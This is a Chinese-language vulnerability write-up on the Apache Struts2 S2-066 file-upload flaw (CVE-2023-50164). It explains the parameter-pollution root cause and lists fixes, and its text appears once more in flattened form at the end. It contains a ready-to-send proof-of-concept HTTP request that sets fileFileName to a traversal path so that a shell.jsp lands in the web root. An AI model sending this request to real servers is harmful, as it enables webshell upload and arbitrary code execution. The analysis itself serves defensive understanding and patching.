( CVE-2023-50164)Apache Struts2 S2-066 文件上传漏洞分析
字数 1355 2025-08-10 08:28:27

Apache Struts2 S2-066 文件上传漏洞分析 (CVE-2023-50164)

漏洞概述

Apache Struts2 是一个开源的 Java Web 应用程序开发框架,用于构建企业级Web应用程序。CVE-2023-50164 是一个文件上传漏洞,攻击者可利用该漏洞污染相关上传参数导致目录遍历,在特定环境下可能导致上传Webshell并执行任意代码。

漏洞分析

正常文件上传流程

  1. Struts2的默认配置包含FileUploadInterceptor拦截器,负责处理文件上传
  2. 拦截器将文件信息封装到相应的Action属性中
  3. 正常情况下尝试使用../../进行目录穿越会被阻止

关键代码分析

  1. 文件名获取过程:

    • FileUploadInterceptor#intercept()方法处理上传
    • 通过multiWrapper.getFileNames()获取文件名
    • 使用getCanonicalName()方法通过substring截取文件名,阻止了../../目录穿越
  2. 参数处理机制:

    • 生成两个变量contentTypeNamefileNameName
    • 检查每个文件是否可接受(默认全部接受)
    • 将文件名、内容类型和文件内容分别保存到三个List中
    • 如果接受的文件列表不为空,将这三个List封装成Parameter并存入参数Map
  3. 参数污染点:

    • ParametersInterceptor#setParameters()中对参数赋值
    • 使用HttpParameters.create()创建参数
    • 漏洞版本中HttpParameters是大小写敏感的
    • OGNL表达式调用setter方法时自动将属性名首字母大写

参数污染原理

  1. 由于大小写敏感,FileFileNamefileFileName被视为不同参数
  2. OGNL在查找setter方法时自动将属性名首字母大写
  3. 两个参数会被自动映射到同一个参数上
  4. 调用get方法获取值时,会取得最后赋值的参数值

参数覆盖顺序

TreeMap中键的排序规则:

  1. 大写字母排在小写字母之前
  2. 数字排在字母之前

因此构造上传参数时:

  • 文件上传的name使用大写开头(如File)
  • 手动传入的污染参数使用小写开头(如fileFileName)

漏洞复现

攻击数据包构造

POST /s2/upload.action?fileFileName=../webapps/ROOT/shell.jsp HTTP/1.1
Host: 192.168.31.185:8080
Content-Length: 416
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjYgoTIxv686oqL3F

------WebKitFormBoundaryjYgoTIxv686oqL3F
Content-Disposition: form-data; name="File"; filename="test.jsp"
Content-Type: application/octet-stream

test
------WebKitFormBoundaryjYgoTIxv686oqL3F
Content-Disposition: form-data; name="submit"

submit
------WebKitFormBoundaryjYgoTIxv686oqL3F--

关键攻击点

  1. 在URL参数中添加fileFileName=../webapps/ROOT/shell.jsp
  2. 上传表单中使用大写开头的name属性(File)
  3. 上传任意文件内容(如test)

漏洞影响

成功利用此漏洞可以:

  1. 实现目录穿越
  2. 将文件上传到Web应用的任意目录
  3. 在特定环境下上传Webshell
  4. 执行任意代码

防御措施

  1. 升级到Apache Struts2的最新安全版本
  2. 在文件上传功能中实施严格的路径验证
  3. 限制上传文件类型
  4. 对上传文件进行重命名处理
  5. 将上传文件存储在非Web可访问目录

技术要点总结

  1. 漏洞源于参数处理时的大小写敏感性与OGNL表达式处理的差异
  2. 利用TreeMap的排序规则实现参数覆盖
  3. 通过精心构造的大小写差异参数实现目录穿越
  4. 新版本通过修改HttpParameters为大小写不敏感修复此漏洞
Apache Struts2 S2-066 文件上传漏洞分析 (CVE-2023-50164) 漏洞概述 Apache Struts2 是一个开源的 Java Web 应用程序开发框架,用于构建企业级Web应用程序。CVE-2023-50164 是一个文件上传漏洞,攻击者可利用该漏洞污染相关上传参数导致目录遍历,在特定环境下可能导致上传Webshell并执行任意代码。 漏洞分析 正常文件上传流程 Struts2的默认配置包含 FileUploadInterceptor 拦截器,负责处理文件上传 拦截器将文件信息封装到相应的Action属性中 正常情况下尝试使用 ../../ 进行目录穿越会被阻止 关键代码分析 文件名获取过程 : FileUploadInterceptor#intercept() 方法处理上传 通过 multiWrapper.getFileNames() 获取文件名 使用 getCanonicalName() 方法通过 substring 截取文件名,阻止了 ../../ 目录穿越 参数处理机制 : 生成两个变量 contentTypeName 和 fileNameName 检查每个文件是否可接受(默认全部接受) 将文件名、内容类型和文件内容分别保存到三个List中 如果接受的文件列表不为空,将这三个List封装成Parameter并存入参数Map 参数污染点 : 在 ParametersInterceptor#setParameters() 中对参数赋值 使用 HttpParameters.create() 创建参数 漏洞版本中 HttpParameters 是大小写敏感的 OGNL表达式调用setter方法时自动将属性名首字母大写 参数污染原理 由于大小写敏感, FileFileName 和 fileFileName 被视为不同参数 OGNL在查找setter方法时自动将属性名首字母大写 两个参数会被自动映射到同一个参数上 调用get方法获取值时,会取得最后赋值的参数值 参数覆盖顺序 在 TreeMap 中键的排序规则: 大写字母排在小写字母之前 数字排在字母之前 因此构造上传参数时: 文件上传的name使用大写开头(如 File ) 手动传入的污染参数使用小写开头(如 fileFileName ) 漏洞复现 攻击数据包构造 关键攻击点 在URL参数中添加 fileFileName=../webapps/ROOT/shell.jsp 上传表单中使用大写开头的name属性( File ) 上传任意文件内容(如 test ) 漏洞影响 成功利用此漏洞可以: 实现目录穿越 将文件上传到Web应用的任意目录 在特定环境下上传Webshell 执行任意代码 防御措施 升级到Apache Struts2的最新安全版本 在文件上传功能中实施严格的路径验证 限制上传文件类型 对上传文件进行重命名处理 将上传文件存储在非Web可访问目录 技术要点总结 漏洞源于参数处理时的大小写敏感性与OGNL表达式处理的差异 利用TreeMap的排序规则实现参数覆盖 通过精心构造的大小写差异参数实现目录穿越 新版本通过修改HttpParameters为大小写不敏感修复此漏洞